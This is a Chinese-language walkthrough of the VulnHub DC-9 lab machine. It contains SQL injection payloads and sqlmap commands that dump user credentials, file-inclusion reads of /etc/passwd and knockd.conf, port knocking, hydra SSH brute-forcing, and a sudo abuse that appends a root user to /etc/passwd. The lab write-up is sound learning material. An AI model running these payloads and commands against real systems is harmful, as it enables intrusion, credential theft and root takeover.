vulnhub靶场,DC-9
环境准备
攻击机:kali(192.168.58.130)
靶机:DC-9(192.168.58.155)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
信息收集
使用arp-scan确定目标靶机
确定目标靶机IP为192.168.58.155
使用nmap扫描查看目标靶机端口开放情况
可以看到扫描结果是开放了22、80端口,但是22端口被过滤了
浏览器访问目标靶机80端口
使用浏览器插件wappalyzel查看网站基本信息
点击search页,发现是一个查找的功能
有输入的位置就有可能存在SQL注入,输入单引号试试
页面没报错,但是发现当输入mary’ and sleep(5)#时,页面查询会延迟5秒
说明这里是存在SQL注入,并且为字符型,闭合方式为’#
渗透过程
前面已经知道查询的页面是存在SQL注入漏洞,但是注入的位置不在URL上,搜索的内容是以POST的形式提交上去的
手工注入
判断字段数
search=mary' order by 5# #回显正常
search=mary' order by 6# #回显正常
search=mary' order by 7# #回显错误
所以判断字段数为6
查看回显位置
search=ma' union select 1,2,3,4,5,6#
查看当前库
search=ma' union select 1,2,3,4,5,database()#
查看Staff库下的所有表
search=ma' union select 1,2,3,4,5,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
查看Users表下的所有字段
search=ma' union select 1,2,3,4,5,(select group_concat(column_name) from information_schema.columns where table_name='Users')#
查看Username,Password字段的值
search=ma' union select 1,2,3,4,5,(select group_concat(concat_ws('~',Username,Password)) from Users)#
使用sqlmap进行自动化注入
查看所有库
sqlmap -r /root/桌面/sql --dbs --batch
查看Staff库下的所有表
sqlmap -r /root/桌面/sql -D "Staff" --tables --batch
查看Users表下的所有字段
sqlmap -r /root/桌面/sql -D "Staff" -T "Users" --columns --batch
查看Username,Password字段的值
sqlmap -r /root/桌面/sql -D "Staff" -T "Users" -C "Username,Password" --dump --batch
成功获得登入的账号和密码,但是密码使用了md5加密,找了很多常规的md5解密网站不是解不出来就是要钱,看了别人的教程,别人的sqlmap能直接将密码解密出来,我试了几遍就是不行,但是最后终于找到了一个解密网站
解密网站:https://hashes.com/en/decrypt/hash
使用admin:transorbital1登入网站后台
登入成功,发现下面有个显示,说文件不存在,所以这里极有可能存在一个文件包含的漏洞
包含密码文件试试
成功包含
前面信息收集可以看到网站的web容器为apache,apache的日志文件默认路径为/var/log/apache2/access.log,可以尝试写入一句话木马然后去包含日志文件去拿到webshell,但是发现是不行的,应该是改了apache的默认日志文件路径
前面进行端口扫描的时候,发现扫描到了22端口但是说被过滤了,可能是因为安装了端口敲门服务(端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。),端口敲门服务默认的配置文件路径为:/etc/knockd.conf,结合文件包含漏洞查看其内容
知道了端口号,需要进行“敲门”,使用nmap即可
然后再查看ssh服务是否能够正常利用
OK,现在22端口可以正常使用了,前面使用sqlmap进行自动化注入时,发现还有一个库为users,查看其内容
sqlmap -r /root/桌面/sql -D "users" --tables --batch
查看UserDetails表下的所有字段
sqlmap -r /root/桌面/sql -D "users" -T "UserDetails" --columns --bacth
查看username,password字段的值
sqlmap -r /root/桌面/sql -D "users" -T "UserDetails" -C "username,password" --dump --batch
获得一些员工的账号和密码,将这些账号和密码分别放在两个不同的文件里
使用hydra进行爆破
hydra -L user.txt -P pass.txt 192.168.58.155 ssh -V
成功获得三个账号密码,其中janitor为管理员用户
使用janitor进行ssh远程连接
查看当前目录下的文件
发现有一个文件.secrets-for-putin,下面有一个密码文件,查看其内容
然后将这些密码也加入到密码文件pass.txt里面
再次使用hydra进行暴力破解
hydra -L user.txt -P pass.txt 192.168.58.155 ssh -V
成功获得fredf用户的密码
使用fredf用户进行ssh远程连接
权限提升
使用sudo命令查看fredf用户可以哪些具有root权限的命令
在这里我们可以看到,这个用户可以sudo使用root权限在运行一个test程序,而且不需要密码,然后我们先进去这个保存文件测试的位置看一下这是个什么程序
里面有一个test.py,查看其内容
kali使用openssl工具先创建一个本地的加密用户
openssl passwd -1 -salt icepeak 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密,默认选项 加点盐
回到靶机中,去到那个程序的目录下用echo命令在/tmp目录下创建一个名为getflag的文件(这个文件名可以自定义)
echo 'icepeak:$1$icepeak$zytcNFjPRKx6SrTA7G3Xe1:0:0::/root:/bin/bash' >> /tmp/getflag
使用sudo用那个test程序来运行这个文件
sudo ./test /tmp/getflag /etc/passwd
使用su命令切换到icepeak用户
成功获得root权限,切换到根目录,查看当前路径下的文件,成功获得flag,DC-9靶机渗透结束